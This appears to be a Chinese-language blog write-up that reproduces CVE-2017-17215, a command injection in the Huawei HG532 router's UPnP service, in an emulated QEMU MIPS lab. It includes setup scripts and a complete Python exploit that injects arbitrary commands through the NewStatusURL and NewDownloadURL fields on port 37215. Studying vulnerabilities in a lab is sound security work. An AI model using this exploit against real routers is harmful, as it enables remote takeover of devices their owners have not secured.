0%

CVE-2017-17215复现_华为HG532命令执行

前两次的漏洞复现都挺难挺费力的,这次来复现个简单点的:CVE-2017-17215 ,关于华为 HG532 路由器可能存在的远程代码执行。整个的复现过程还是比较顺利的,虽然也踩了不少坑,但解决的还都算快。

该漏洞的起因是upnp服务中的NewStatsURLNewDownloadURL标签存在命令注入,故可以在端口37215上,向uri/ctrlt/DeviceUpgrade_1的路径发送POST报文来触发漏洞进行命令执行。

固件解压

下载固件,接着直接用binwalk对固件进行解压

binwalk -Me HG532eV100R001C02B015_upgrade_main.bin

仿真搭建

环境如下:

版本
宿主机 Ubuntu20.04
内核 vmlinux-2.6.32-5-4kc-malta
映像 debian_squeeze_mips_standard.qcow2
qemu qemu-system-mips

一开始用的内核是vmlinux-3.2.0-4-4kc-malta这个版本的,但是在执行/bin/mic的时候会报错,报错表示执行/bin/mic的过程中会用到某个驱动或工具只支持内核2.6.20,于是我就换成了更接近的2.6.32-5-4kc(一开始换的是5-5kc,没想到又精准踩坑,启动qemu的时候直接卡住了)是没问题的。

执行网络配置脚本net.sh:

#!/bin/sh
#sudo ifconfig eth0 down
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo brctl stp br0 off
sudo brctl setfd br0 1
sudo brctl sethello br0 1
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
sudo brctl show br0
sudo brctl showstp br0
sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0

执行启动脚本start.sh:

#!/bin/bash
sudo qemu-system-mips \
-cpu 74Kf \
-M malta \
-kernel /home/wen/Desktop/mips_qemu_system/vmlinux-2.6.32-5-4kc-malta \
-hda /home/wen/Desktop/mips_qemu_system/debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic -net nic \
-net tap,ifname=tap0,script=no,downscript=no

登录查看IP,然后在宿主机上成功ping通即可。

image-20250501153339609

为了方便后面的操作,可以执行以下命令,将路由器的文件系统根目录作为一个临时的chroot环境

cd squashfs-root
mount --bind /proc ./proc
mount --bind /dev ./dev
chroot . /bin/sh

漏洞复现

根据 CVE-2017-17215 上面对该漏洞的描述可知,经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击,即漏洞的关键点在于开启37215这个端口号。

1

搜索37215,发现其存在于bin/mic这个文件

image-20250501163308229

执行/bin/mic后,会占用当前这个终端,且此时网卡eth0的IP没了,网桥br0的IP也变成了192.168.1.1,因此我们也不能ssh连接再开一个终端

image-20250501165409513

所以我们在ssh连接的终端上执行/bin/mic文件就行了,然后在原终端执行ifconfig eth0 192.168.107.135/24 up,为网卡eth0重新配置IP,如下:

image-20250501170336797

执行netstat -a显示本地已打开的端口,发现此时37215端口已被成功监听

image-20250501170651774

nmap -p 37215 192.168.107.135扫描端口,同样显示37215已打开

image-20250501170918099

接下来我们执行下面的脚本,向端口37215发送恶意数据报以发起攻击

import requests

Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}

print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
cmd = input("command > ")

data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;{cmd};</NewStatusURL>
<NewDownloadURL>;{cmd};</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''

r = requests.post('http://192.168.107.135:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)

输入任意命令让其执行,这里我输入mkdir wen来创建一个目录

1

此时之前执行/bin/mic处的回显如下:

image-20250501173246598

同时执行ls,发现目录创建成功

image-20250501173538525

一些疑问

看其他师傅的文章有提到有CVE披露的报告中说upnp二进制文件是此次漏洞的来源,经过对upnp文件的逆向分析后,我也确实在该文件中发现了命令注入,但是一个作为恶意数据的来源,一作为恶意数据最后被执行的地方,我目前还不知道micupnp这两个文件之间的联系,可能这也是我为什么觉得这次的复现很简单了……

参考文章

一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone

CVE-2017-17215复现(华为HG532命令执行) | ZIKH26’s Blog

HG532命令执行漏洞复现(CVE-2017-17215)_安装attifyos v3.0虚拟机-CSDN博客